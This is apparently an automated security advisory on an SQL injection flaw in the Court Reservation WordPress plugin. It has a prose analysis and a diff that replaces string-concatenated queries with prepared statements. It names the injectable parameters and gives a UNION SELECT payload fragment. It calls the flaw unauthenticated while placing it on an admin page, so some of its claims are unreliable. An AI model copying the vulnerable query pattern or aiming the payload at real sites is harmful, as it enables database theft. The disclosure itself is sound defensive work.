Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 12, 2026

CVE-2026-1250: Court Reservation – Manage Your Court Bookings Online <= 1.10.11 – Unauthenticated SQL Injection (court-reservation)

CVE ID CVE-2026-1250
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.10.11
Patched Version 1.10.12
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1250:

This vulnerability is a generic SQL injection (CWE-89) in the Court Reservation plugin for WordPress, affecting all versions up to and including 1.10.11. The severity is CVSS 7.5 (High). The root cause is the direct concatenation of user-supplied parameters into SQL queries without proper parameterization or escaping.

The root cause is in multiple functions across `court-reservation/admin/class-courtres-admin.php`. The `getCourtByID()` function (line 831) directly embeds `$courtID` into the query string. The `getReservationByID()` and `getReservationsByGID()` functions (lines 941-945) do the same for `$reservationID` and `$gid`. The most impactful vulnerability exists in the `getReservationsPrivate()` method (lines 858-912), where the `$way` parameter (direction for ordering) and the date/`$gid` filters are directly interpolated without preparation. The `$way` parameter is passed through a switch statement and only a basic validation exists but was incomplete. The `$start_date`, `$final_date`, and `$gid` parameters from the admin reservation list page are directly concatenated into the WHERE clause.

Exploitation requires sending a crafted request to the WordPress admin area, specifically the `admin.php?page=courtres-reservations` page. An unauthenticated attacker can inject SQL through the `id` parameter in `getCourtByID()` which is called when viewing court details. The payload is a standard SQL injection string appended to the `id` parameter, such as `1 UNION SELECT …`. The `getReservationsByGID()` function is also vulnerable, using a direct string interpolation for the `$gid` parameter. The `$way` parameter in `getReservationsPrivate()` can be manipulated to inject SQL via the ORDER BY clause.

The patch replaces all vulnerable direct string interpolations with `$wpdb->prepare()` statements and parameterized queries. For example, `getCourtByID()` now sanitizes `$courtID` with `absint()` and returns null if invalid, then uses `%d` placeholder in the query. The `getReservationsPrivate()` method was extensively rewritten to use positional placeholders (`%s`, `%d`) and an array of arguments for `$wpdb->prepare()`. The `$way` parameter is now validated against a whitelist of `ASC`/`DESC` before use. Similar changes were applied to all other vulnerable functions.

Successful exploitation allows an unauthenticated attacker to extract sensitive information from the WordPress database, including user credentials (hashed passwords, usernames, emails), reservation data, and other plugin settings. The attacker could also potentially modify or delete data via stacked queries in MySQL, leading to data loss or privilege escalation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/court-reservation/admin/class-courtres-admin.php
+++ b/court-reservation/admin/class-courtres-admin.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * The admin-specific functionality of the plugin.
@@ -271,7 +274,7 @@
 			$timeStep->add( new DateInterval( 'PT30M' ) );
 		}

-		$dateStr  = date( 'Y-m-d', strtotime( '+' . (int) $_REQUEST['day'] . ' day', $nowTZTS ) );
+		$dateStr  = gmdate( 'Y-m-d', strtotime( '+' . (int) $_REQUEST['day'] . ' day', $nowTZTS ) );
 		$timeStep = clone $timeStart;
 		for ( $minStep = 30; $minStep <= $minuteplus; $minStep += 30 ) {
 			// check for blocks
@@ -281,7 +284,7 @@
 			$dayWeek = (int) $datetime->format( 'N' );
 			foreach ( $eventsBlocks as $eventBlock ) {
 				if ( $eventBlock->weekly_repeat == 1 ) {
-					$dayWeekEvent = (int) date( 'N', strtotime( $eventBlock->event_date ) );
+					$dayWeekEvent = (int) gmdate( 'N', strtotime( $eventBlock->event_date ) );
 					if ( $dayWeekEvent != $dayWeek ) {
 						continue;
 					}
@@ -828,8 +831,12 @@

 	public function getCourtByID( $courtID ) {
 		global $wpdb;
+		$courtID = absint( $courtID );
+		if ( 0 === $courtID ) {
+			return null;
+		}
 		$table_courts = $this->getTable( 'courts' );
-		return $wpdb->get_row( "SELECT * FROM $table_courts WHERE id = $courtID" );
+		return $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table_courts WHERE id = %d", $courtID ) );
 	}

 	/**
@@ -851,66 +858,59 @@
 		$order_by           = $sql_where = $sql_wpuser_join = $sql_wpuser_select = '';
 		$sql_and_conditions = array();

-		/*  Order by  */
+		$way_safe = in_array( strtoupper( $way ), array( 'ASC', 'DESC' ), true ) ? strtoupper( $way ) : 'DESC';
 		switch ( $order ) {
 			case 'court':
-				$order_by = $this->getTable( 'courts' ) . '.name ';
+				$order_by = $this->getTable( 'courts' ) . '.name ' . $way_safe;
 				break;
 			case 'player':
-				$order_by = $wpdb->users . '.display_name ';
+				$order_by = $wpdb->users . '.display_name ' . $way_safe;
 				break;
 			case 'date':
-				$order_by = "reservations.date $way, reservations.time $way, reservations.minute";
+				$order_by = "reservations.date $way_safe, reservations.time $way_safe, reservations.minute $way_safe";
 				break;
 			case 'type':
-				$order_by = 'reservations.type ';
+				$order_by = 'reservations.type ' . $way_safe;
 				break;
 			default:
-				$order_by = "reservations.date $way, reservations.time $way, reservations.minute";
+				$order_by = "reservations.date $way_safe, reservations.time $way_safe, reservations.minute $way_safe";
 		}

-		/*
-		  Filter  */
-		// if start_date is selected
+		$where_parts = array();
+		$prepare_args = array();
 		if ( $start_date ) {
-			$start_date           = date_i18n( 'Y-m-d H:i:s', strtotime( $start_date ), false );
-			$sql_and_conditions[] = "`reservations`.date >= '$start_date'";
+			$where_parts[]   = 'reservations.date >= %s';
+			$prepare_args[]  = date_i18n( 'Y-m-d H:i:s', strtotime( $start_date ), false );
 		}
-
-		// if start_date is selected
 		if ( $final_date ) {
-			$final_date           = date_i18n( 'Y-m-d H:i:s', strtotime( $final_date ), false );
-			$sql_and_conditions[] = "`reservations`.date <= '$final_date'";
+			$where_parts[]   = 'reservations.date <= %s';
+			$prepare_args[]  = date_i18n( 'Y-m-d H:i:s', strtotime( $final_date ), false );
 		}
-
-		// if reservation gid is selected
 		if ( $gid ) {
-			$sql_and_conditions[] = "`reservations`.gid = '$gid'";
+			$where_parts[]   = 'reservations.gid = %s';
+			$prepare_args[]  = $gid;
 		}
+		$sql_where = $where_parts ? 'WHERE ' . implode( ' AND ', $where_parts ) : '';

-		$sql_where = $sql_and_conditions ? 'WHERE ' . implode( ' AND ', $sql_and_conditions ) : '';
-
-		/*  Joins */
-		$sql_courts_join         = sprintf( ' LEFT JOIN %1$s ON %1$s.id = %2$s.courtid', $this->getTable( 'courts' ), 'reservations' );
-		$sql_courts_select       = sprintf( ', %1$s.name AS courtname', $this->getTable( 'courts' ) );
-				$sql_rp_join     = sprintf( ' LEFT JOIN %1$s ON %1$s.reservation_gid = %2$s.gid', $this->getTable( 'reserv_players' ), 'reservations' );
-		$sql_rp_select           = sprintf( ', GROUP_CONCAT(%1$s.player_id) AS players, GROUP_CONCAT(%1$s.is_author) AS is_author', $this->getTable( 'reserv_players' ) );
-				$sql_wpuser_join = sprintf( ' LEFT JOIN %1$s ON %1$s.ID = %2$s.userid', $wpdb->users, 'reservations' );
-		$sql_wpuser_select       = sprintf( ', %1$s.display_name AS user_display_name', $wpdb->users );
-
-		$group_by = ' GROUP BY `reservations`.id';
-
-		/*  Get reservations query  */
-		$res = $wpdb->get_results(
-			"SELECT reservations.*{$sql_courts_select}{$sql_rp_select}{$sql_wpuser_select}
-			FROM {$this->getTable('reservations')} as reservations
-			{$sql_courts_join}
-			{$sql_rp_join}
-			{$sql_wpuser_join}
-			{$sql_where}
-			{$group_by}
-			ORDER BY " . $order_by . ' ' . $way
-		);
+		$table_reservations  = $this->getTable( 'reservations' );
+		$table_courts        = $this->getTable( 'courts' );
+		$table_reserv_players = $this->getTable( 'reserv_players' );
+		$base_sql            = "SELECT reservations.*, {$table_courts}.name AS courtname, GROUP_CONCAT({$table_reserv_players}.player_id) AS players, GROUP_CONCAT({$table_reserv_players}.is_author) AS is_author, {$wpdb->users}.display_name AS user_display_name
+			FROM {$table_reservations} as reservations
+			LEFT JOIN {$table_courts} ON {$table_courts}.id = reservations.courtid
+			LEFT JOIN {$table_reserv_players} ON {$table_reserv_players}.reservation_gid = reservations.gid
+			LEFT JOIN {$wpdb->users} ON {$wpdb->users}.ID = reservations.userid
+			{$sql_where}
+			GROUP BY reservations.id
+			ORDER BY {$order_by}";
+
+		if ( $prepare_args ) {
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- $base_sql built from trusted sources, placeholders in prepare_args
+			$res = $wpdb->get_results( $wpdb->prepare( $base_sql, $prepare_args ) );
+		} else {
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- no user input when prepare_args empty
+			$res = $wpdb->get_results( $base_sql );
+		}
 		// fppr($wpdb->last_query, __FILE__.' $wpdb->last_query');
 		// fppr($res, __FILE__.' $res');

@@ -941,12 +941,12 @@

 	public function getReservationByID( $reservationID ) {
 		global $wpdb;
-		return $wpdb->get_row( "SELECT * FROM {$this->getTable('reservations')} WHERE id = $reservationID" );
+		return $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$this->getTable('reservations')} WHERE id = %d", absint( $reservationID ) ) );
 	}

 	public function getReservationsByGID( $gid ) {
 		global $wpdb;
-		return $wpdb->get_results( "SELECT * FROM {$this->getTable('reservations')} WHERE `gid` = '$gid'" );
+		return $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$this->getTable('reservations')} WHERE `gid` = %s", $gid ) );
 	}

 	public function getReservationByUser( $userID ) {
@@ -985,7 +985,7 @@
 		if ( $res ) {
 			$reservations = $this->getReservationsByGID( $r->gid );
 			if ( ! count( $reservations ) ) {
-				$wpdb->query( "DELETE FROM {$this->getTable('reserv_players')} WHERE `reservation_gid` = '" . $r->gid . "'" );
+				$wpdb->query( $wpdb->prepare( "DELETE FROM {$this->getTable('reserv_players')} WHERE `reservation_gid` = %s", $r->gid ) );
 			}
 		}
 		// < from 1.5.0
@@ -994,12 +994,10 @@

 	public function deleteReservationByDateGid( $sdt, $gid ) {
 		global $wpdb;
-		$res = $wpdb->query( "DELETE FROM {$this->getTable('reservations')} WHERE DATE(date) = '$sdt' AND gid = '$gid'" );
-		// from 1.5.0 >
+		$res = $wpdb->query( $wpdb->prepare( "DELETE FROM {$this->getTable('reservations')} WHERE DATE(date) = %s AND gid = %s", $sdt, $gid ) );
 		if ( $res ) {
-			$wpdb->query( "DELETE FROM {$this->getTable('reserv_players')} WHERE `reservation_gid` = '$gid'" );
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$this->getTable('reserv_players')} WHERE `reservation_gid` = %s", $gid ) );
 		}
-		// < from 1.5.0
 	}

 	public function cleanUpReservations() {
@@ -1015,16 +1013,19 @@
 		// $wpdb->get_results('SET @@time_zone = "'.$theTime["offset"].'";');

 		return $wpdb->get_results(
-			"SELECT * FROM {$this->getTable('reservations')} WHERE courtid = $courtID AND
+			$wpdb->prepare(
+				"SELECT * FROM {$this->getTable('reservations')} WHERE courtid = %d AND
 			date >= CURDATE()
-		ORDER BY date, time"
+		ORDER BY date, time",
+				absint( $courtID )
+			)
 		);
 	}

 	public function getBlocksByID( $courtID ) {
 		global $wpdb;
 		$table_blocks = $this->getTable( 'events' );
-		return $wpdb->get_results( "SELECT * FROM $table_blocks WHERE courtid = $courtID ORDER BY dow" );
+		return $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $table_blocks WHERE courtid = %d ORDER BY dow", absint( $courtID ) ) );
 	}

 	private function getWeekdays() {
@@ -1142,7 +1143,7 @@
 	public function getOption( $name ) {
 		global $wpdb;
 		$table_name = $this->getTable( 'settings' );
-		$res        = $wpdb->get_row( "SELECT * FROM $table_name WHERE option_name = '" . $name . "'" );
+		$res        = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table_name WHERE option_name = %s", $name ) );
 		return $res;
 	}

@@ -1273,7 +1274,7 @@

 		if ( $params['is_event_weekly_repeat'] == 1 ) {
 			$curEventDateWeek     = $params['event_date_week'];
-			$last_sundy           = date( 'Y-m-d', strtotime( 'last sunday' ) );
+			$last_sundy           = gmdate( 'Y-m-d', strtotime( 'last sunday' ) );
 			$event_timestamp      = strtotime( $last_sundy . '+ ' . $curEventDateWeek . ' days' );
 			$params['event_date'] = date_i18n( 'Y-m-d', $event_timestamp );
 		}
@@ -1401,8 +1402,13 @@

 			case 'events':
 				global $wpdb;
-				$sql_where = sprintf( ' WHERE events.end_ts < %d AND weekly_repeat = 0', (int) current_time( 'timestamp' ) );
-				$results   = $wpdb->get_results( sprintf( 'SELECT events.* FROM %s as events%s ORDER BY `end_ts` DESC', $this->getTable( 'events' ), $sql_where ) );
+				$results = $wpdb->get_results(
+					$wpdb->prepare(
+						'SELECT events.* FROM %i as events WHERE events.end_ts < %d AND weekly_repeat = 0 ORDER BY end_ts DESC',
+						$this->getTable( 'events' ),
+						(int) current_time( 'timestamp' )
+					)
+				);
 				break;

 			case 'challenges':
--- a/court-reservation/admin/partials/__courtres-settings.php
+++ b/court-reservation/admin/partials/__courtres-settings.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
@@ -463,7 +466,7 @@
 	$option_is_email_template_updated->option_name  = 'option_is_email_template_updated';
 	$option_is_email_template_updated->option_value = true;
 	$message_type                                   = 'warning';
-	$message                                        = __( 'Court Reservation Plugin: You need to update your template for E-Mail notifications!', 'courtres' );
+	$message                                        = __( 'Court Reservation Plugin: You need to update your template for E-Mail notifications!', 'court-reservation' );
 }

 // option_email_template
--- a/court-reservation/admin/partials/courtres-challenges.php
+++ b/court-reservation/admin/partials/courtres-challenges.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
@@ -98,8 +101,8 @@
 <div class="wrap">
 	<h1 class="wp-heading-inline"><?php echo esc_html__( 'Challenges', 'court-reservation' ); ?></h1>
 	<div class="cr-head-right">
-		<a href="<?php echo esc_url(admin_url( 'admin.php?page=courtres-challenges&view-expired=1' )); ?>" class="button button-secondary action<?php echo ( $is_view_expired ? ' active' : '' ); ?>"><?php esc_html_e( 'View Expired', 'courtres' ); ?></a>
-		<a href="<?php echo esc_url(admin_url( 'admin.php?page=courtres-challenges' )); ?>" class="button button-secondary action"><span class="dashicons dashicons-no-alt" style="vertical-align: -5px;"></span><?php esc_html_e( 'Clear Filter', 'courtres' ); ?></a>
+		<a href="<?php echo esc_url(admin_url( 'admin.php?page=courtres-challenges&view-expired=1' )); ?>" class="button button-secondary action<?php echo ( $is_view_expired ? ' active' : '' ); ?>"><?php esc_html_e( 'View Expired', 'court-reservation' ); ?></a>
+		<a href="<?php echo esc_url(admin_url( 'admin.php?page=courtres-challenges' )); ?>" class="button button-secondary action"><span class="dashicons dashicons-no-alt" style="vertical-align: -5px;"></span><?php esc_html_e( 'Clear Filter', 'court-reservation' ); ?></a>
 		<form method="post" action="<?php echo esc_url(admin_url( 'admin-ajax.php' )); ?>">
 		   <?php wp_nonce_field( 'export_expired', 'export_expired_nonce' ); ?>
 			<input type="hidden" name="target" value="challenges" />
--- a/court-reservation/admin/partials/courtres-court.php
+++ b/court-reservation/admin/partials/courtres-court.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
@@ -128,7 +131,7 @@
 if (isset($courtID) && is_numeric($courtID))
 {
 	$courtres_option_closed_name = "option_closed_court_" . (int) $courtID;
-	$database_closed_court = $wpdb->get_row( "SELECT * FROM $table_settings WHERE option_name = '$courtres_option_closed_name' ORDER BY `option_id` DESC LIMIT 1" );
+	$database_closed_court = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table_settings WHERE option_name = %s ORDER BY `option_id` DESC LIMIT 1", $courtres_option_closed_name ) );

 	if ( $database_closed_court !== null  && $form_closed_court != '' ) {
 		$wpdb->update(
@@ -180,7 +183,7 @@


 	$courtres_option_payment = "option_payment_" . (int) $courtID;
-	$database_payment = $wpdb->get_row( "SELECT * FROM $table_settings WHERE option_name = '$courtres_option_payment' ORDER BY `option_id` DESC LIMIT 1" );
+	$database_payment = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table_settings WHERE option_name = %s ORDER BY `option_id` DESC LIMIT 1", $courtres_option_payment ) );

 	if ( $database_payment !== null  && $form_payment != '' ) {
 		$wpdb->update(
@@ -230,7 +233,7 @@
 	}

 	$courtres_option_payment_id = "option_payment_id_" . (int) $courtID;
-	$database_payment_id = $wpdb->get_row( "SELECT * FROM $table_settings WHERE option_name = '$courtres_option_payment_id' ORDER BY `option_id` DESC LIMIT 1" );
+	$database_payment_id = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table_settings WHERE option_name = %s ORDER BY `option_id` DESC LIMIT 1", $courtres_option_payment_id ) );

 	if ( $database_payment_id !== null  && $form_payment_id != '' ) {
 		$wpdb->update(
@@ -281,7 +284,7 @@
 }

 if ( isset( $courtID ) && $courtID > 0 ) {
-	$court = $wpdb->get_row( "SELECT * FROM $table_name WHERE id = $courtID" );
+	$court = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table_name WHERE id = %d", absint( $courtID ) ) );
 }

 if ( ! isset( $court ) ) {
--- a/court-reservation/admin/partials/courtres-courts.php
+++ b/court-reservation/admin/partials/courtres-courts.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
--- a/court-reservation/admin/partials/courtres-emailtemplate.php
+++ b/court-reservation/admin/partials/courtres-emailtemplate.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
--- a/court-reservation/admin/partials/courtres-emailtemplatepreview.php
+++ b/court-reservation/admin/partials/courtres-emailtemplatepreview.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
--- a/court-reservation/admin/partials/courtres-event.php
+++ b/court-reservation/admin/partials/courtres-event.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
@@ -231,13 +234,13 @@
 // Defaults
 $event = false;
 if ( isset( $eventID ) && $eventID ) {
-	$event = $wpdb->get_row( "SELECT * FROM $table_name WHERE id = $eventID" );
+	$event = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table_name WHERE id = %d", absint( $eventID ) ) );
 }
 if ( $event ) {
 	$event->event_date = $event->event_date == '0000-00-00' ? '' : mysql2date( 'd-m-Y', $event->event_date );
 	$event->start_m    = $event->start_ts ? date_i18n( 'i', $event->start_ts ) : '';
 	$event->end_m      = $event->end_ts ? date_i18n( 'i', $event->end_ts ) : '';
-	if ($event->weekly_repeat!=1) { $event->dow = $event->dow ? $event->dow : date( 'w', strtotime( $event->event_date ) ); }
+	if ($event->weekly_repeat!=1) { $event->dow = $event->dow ? $event->dow : gmdate( 'w', strtotime( $event->event_date ) ); }
 	if ( $event->type == 'challenge' ) {
 		$message_errors[] = __( 'You can not edit challenges here' );
 	}
@@ -397,19 +400,19 @@
 						<select name="weekly_start_<?php echo $courtres_weekly_2; ?>" id="weekly_start_<?php echo $courtres_weekly_2; ?>">
 								<?php

-									if (date('l') == $courtres_weekly_3) { $courtres_weekly_5 = "today"; }
+									if (gmdate('l') == $courtres_weekly_3) { $courtres_weekly_5 = "today"; }
 									else { $courtres_weekly_5 = "Next " . $courtres_weekly_3; }
 									$courtres_weekly_6 = strtotime($courtres_weekly_5, time());
 									if (isset($event->event_first_date) && $event->event_first_date != "")
 									{ $event_first_date = $event->event_first_date; } else { $event_first_date = "1970-01-01"; }
 								?>

-									<option value="<?php echo date('Y-m-d', $courtres_weekly_6); ?>" <?php selected( date('Y-m-d', $courtres_weekly_6), $event_first_date ); ?>><?php echo date('d. m. Y. ', $courtres_weekly_6); ?></option>
+									<option value="<?php echo gmdate('Y-m-d', $courtres_weekly_6); ?>" <?php selected( gmdate('Y-m-d', $courtres_weekly_6), $event_first_date ); ?>><?php echo gmdate('d. m. Y. ', $courtres_weekly_6); ?></option>

 								<?php for ($weeks=1;$weeks<=51;$weeks++)
 								{
 									$courtres_weekly_6 = strtotime('+1 Week', $courtres_weekly_6); ?>
-									<option value="<?php echo date('Y-m-d', $courtres_weekly_6); ?>" <?php selected( date('Y-m-d', $courtres_weekly_6), $event_first_date ); ?> ><?php echo date('d. m. Y. ', $courtres_weekly_6); ?></option>
+									<option value="<?php echo gmdate('Y-m-d', $courtres_weekly_6); ?>" <?php selected( gmdate('Y-m-d', $courtres_weekly_6), $event_first_date ); ?> ><?php echo gmdate('d. m. Y. ', $courtres_weekly_6); ?></option>

 								<?php } ?>
 						</select>
@@ -426,12 +429,12 @@
 									{ $event_last_date = $event->event_last_date; } else { $event_last_date = "1970-01-01"; }
 								?>

-									<option value="<?php echo date('Y-m-d', $courtres_weekly_7); ?>" <?php selected( date('Y-m-d', $courtres_weekly_7), $event_last_date ); ?>><?php echo date('d. m. Y. ', $courtres_weekly_7); ?></option>
+									<option value="<?php echo gmdate('Y-m-d', $courtres_weekly_7); ?>" <?php selected( gmdate('Y-m-d', $courtres_weekly_7), $event_last_date ); ?>><?php echo gmdate('d. m. Y. ', $courtres_weekly_7); ?></option>

 								<?php for ($weeks=1;$weeks<=51;$weeks++)
 								{
 									$courtres_weekly_7 = strtotime('+1 Week', $courtres_weekly_7); ?>
-									<option value="<?php echo date('Y-m-d', $courtres_weekly_7); ?>" <?php selected( date('Y-m-d', $courtres_weekly_7), $event_last_date ); ?>><?php echo date('d. m. Y. ', $courtres_weekly_7); ?></option>
+									<option value="<?php echo gmdate('Y-m-d', $courtres_weekly_7); ?>" <?php selected( gmdate('Y-m-d', $courtres_weekly_7), $event_last_date ); ?>><?php echo gmdate('d. m. Y. ', $courtres_weekly_7); ?></option>

 								<?php } ?>
 						</select>
--- a/court-reservation/admin/partials/courtres-events.php
+++ b/court-reservation/admin/partials/courtres-events.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
@@ -157,7 +160,7 @@
 							$period .= ' - ' . date_i18n( 'H:i', $item->end_ts );
 						}
 						?>
-						<tr class="<?php echo ( ( $item->weekly_repeat != 1 ) && $item->event_date < date( 'Y-m-d' ) ) ? 'event-expired' : ''; ?>">
+						<tr class="<?php echo ( ( $item->weekly_repeat != 1 ) && $item->event_date < gmdate( 'Y-m-d' ) ) ? 'event-expired' : ''; ?>">
 							<td>
 								<?php echo esc_html( $item->name ); ?>
 							</td>
@@ -165,7 +168,7 @@
 							<?php
 							if ( $tab == '1' ) {
 								?>
-									<td><?php echo esc_html($days[ date( 'w', strtotime( $item->event_date ) ) ]); ?></td>
+									<td><?php echo esc_html($days[ gmdate( 'w', strtotime( $item->event_date ) ) ]); ?></td>
 									<?php
 							} else {
 								?>
--- a/court-reservation/admin/partials/courtres-members.php
+++ b/court-reservation/admin/partials/courtres-members.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
--- a/court-reservation/admin/partials/courtres-notice-message.php
+++ b/court-reservation/admin/partials/courtres-notice-message.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide notice for message in admin view
--- a/court-reservation/admin/partials/courtres-notice-upgrade.php
+++ b/court-reservation/admin/partials/courtres-notice-upgrade.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide notice for pro-upgrade in admin view
--- a/court-reservation/admin/partials/courtres-piramid.php
+++ b/court-reservation/admin/partials/courtres-piramid.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
--- a/court-reservation/admin/partials/courtres-piramids.php
+++ b/court-reservation/admin/partials/courtres-piramids.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
--- a/court-reservation/admin/partials/courtres-reservations.php
+++ b/court-reservation/admin/partials/courtres-reservations.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
@@ -109,9 +112,9 @@
 			<label for="datepicker-final-date">Gid</label>
 			<input id="gid" name="gid" class="" type="text" placeholder="Enter gid" value="<?php echo ( isset( $get_gid ) && $get_gid != '' ) ? esc_attr( $get_gid ) : ''; ?>" autocomplete="off">

-			<input type="submit" id="datepicker-doaction" class="button action" value="<?php esc_html_e( 'Filter', 'courtres' ); ?>">
-			<a href="<?php echo esc_url(admin_url( 'admin.php?page=courtres-reservations&view-expired=1' )); ?>" class="button button-secondary action<?php echo ( $is_view_expired ? ' active' : '' ); ?>"><?php esc_html_e( 'View Expired', 'courtres' ); ?></a>
-			<a href="<?php echo esc_url(admin_url( 'admin.php?page=courtres-reservations' )); ?>" class="button button-secondary action"><span class="dashicons dashicons-no-alt" style="vertical-align: -5px;"></span><?php esc_html_e( 'Clear Filter', 'courtres' ); ?></a>
+			<input type="submit" id="datepicker-doaction" class="button action" value="<?php esc_html_e( 'Filter', 'court-reservation' ); ?>">
+			<a href="<?php echo esc_url(admin_url( 'admin.php?page=courtres-reservations&view-expired=1' )); ?>" class="button button-secondary action<?php echo ( $is_view_expired ? ' active' : '' ); ?>"><?php esc_html_e( 'View Expired', 'court-reservation' ); ?></a>
+			<a href="<?php echo esc_url(admin_url( 'admin.php?page=courtres-reservations' )); ?>" class="button button-secondary action"><span class="dashicons dashicons-no-alt" style="vertical-align: -5px;"></span><?php esc_html_e( 'Clear Filter', 'court-reservation' ); ?></a>
 		</form>
 		<p> </p>
 	</div>
--- a/court-reservation/admin/partials/courtres-settings.php
+++ b/court-reservation/admin/partials/courtres-settings.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
@@ -533,7 +536,7 @@
 $reservationTypes   = unserialize( $option_reservation_types->option_value );
 $mlReservationTypes = array();
 foreach ( $reservationTypes as $type ) {
-	$mlReservationTypes[] = esc_html__( $type, 'court-reservation' );
+	$mlReservationTypes[] = esc_html( translate( $type, 'court-reservation' ) );
 }

 // Available reservation types
@@ -557,7 +560,7 @@
 	$option_is_email_template_updated->option_name  = 'option_is_email_template_updated';
 	$option_is_email_template_updated->option_value = true;
 	$message_type                                   = 'warning';
-	$message                                        = __( 'Court Reservation Plugin: You need to update your template for E-Mail notifications!', 'courtres' );
+	$message                                        = __( 'Court Reservation Plugin: You need to update your template for E-Mail notifications!', 'court-reservation' );
 }

 // option_email_template
@@ -829,7 +832,7 @@
 							<ul class="cr-reserv-type-list">
 								<?php foreach ( $reservationTypes as $type ) : ?>
 									<li>
-										<label for="<?php echo esc_attr( $type ); ?>"><span><?php echo esc_html_e( $type, 'court-reservation' ); ?></span></label>
+										<label for="<?php echo esc_attr( $type ); ?>"><span><?php echo esc_html( translate( $type, 'court-reservation' ) ); ?></span></label>
 										<label class="switch">
 											<input type="checkbox" id="<?php echo esc_attr( $type ); ?>" name="option_available_reservation_types[<?php echo esc_attr( $type ); ?>]" <?php if (is_array($availableReservationTypes)) { checked( in_array( $type, $availableReservationTypes ) ); } ?> value="<?php echo esc_attr( $type ); ?>">
 											<span class="slider round"></span>
--- a/court-reservation/admin/partials/courtres-ui.php
+++ b/court-reservation/admin/partials/courtres-ui.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
--- a/court-reservation/admin/partials/courtres-upgrade.php
+++ b/court-reservation/admin/partials/courtres-upgrade.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
--- a/court-reservation/admin/partials/courtres-user.php
+++ b/court-reservation/admin/partials/courtres-user.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
--- a/court-reservation/admin/partials/courtres-users.php
+++ b/court-reservation/admin/partials/courtres-users.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Provide a admin area view for the plugin
@@ -263,10 +266,13 @@
 		}

 		$users_have_content = false;
-		if ( $wpdb->get_var( "SELECT ID FROM {$wpdb->posts} WHERE post_author IN( " . implode( ',', $userids ) . ' ) LIMIT 1' ) ) {
-			$users_have_content = true;
-		} elseif ( $wpdb->get_var( "SELECT link_id FROM {$wpdb->links} WHERE link_owner IN( " . implode( ',', $userids ) . ' ) LIMIT 1' ) ) {
-			$users_have_content = true;
+		if ( ! empty( $userids ) ) {
+			$placeholders = implode( ',', array_fill( 0, count( $userids ), '%d' ) );
+			if ( $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM %i WHERE post_author IN ($placeholders) LIMIT 1", $wpdb->posts, ...$userids ) ) ) {
+				$users_have_content = true;
+			} elseif ( $wpdb->get_var( $wpdb->prepare( "SELECT link_id FROM %i WHERE link_owner IN ($placeholders) LIMIT 1", $wpdb->links, ...$userids ) ) ) {
+				$users_have_content = true;
+			}
 		}

 		if ( $users_have_content ) {
--- a/court-reservation/admin/partials/courtres-widget-upgrade.php
+++ b/court-reservation/admin/partials/courtres-widget-upgrade.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
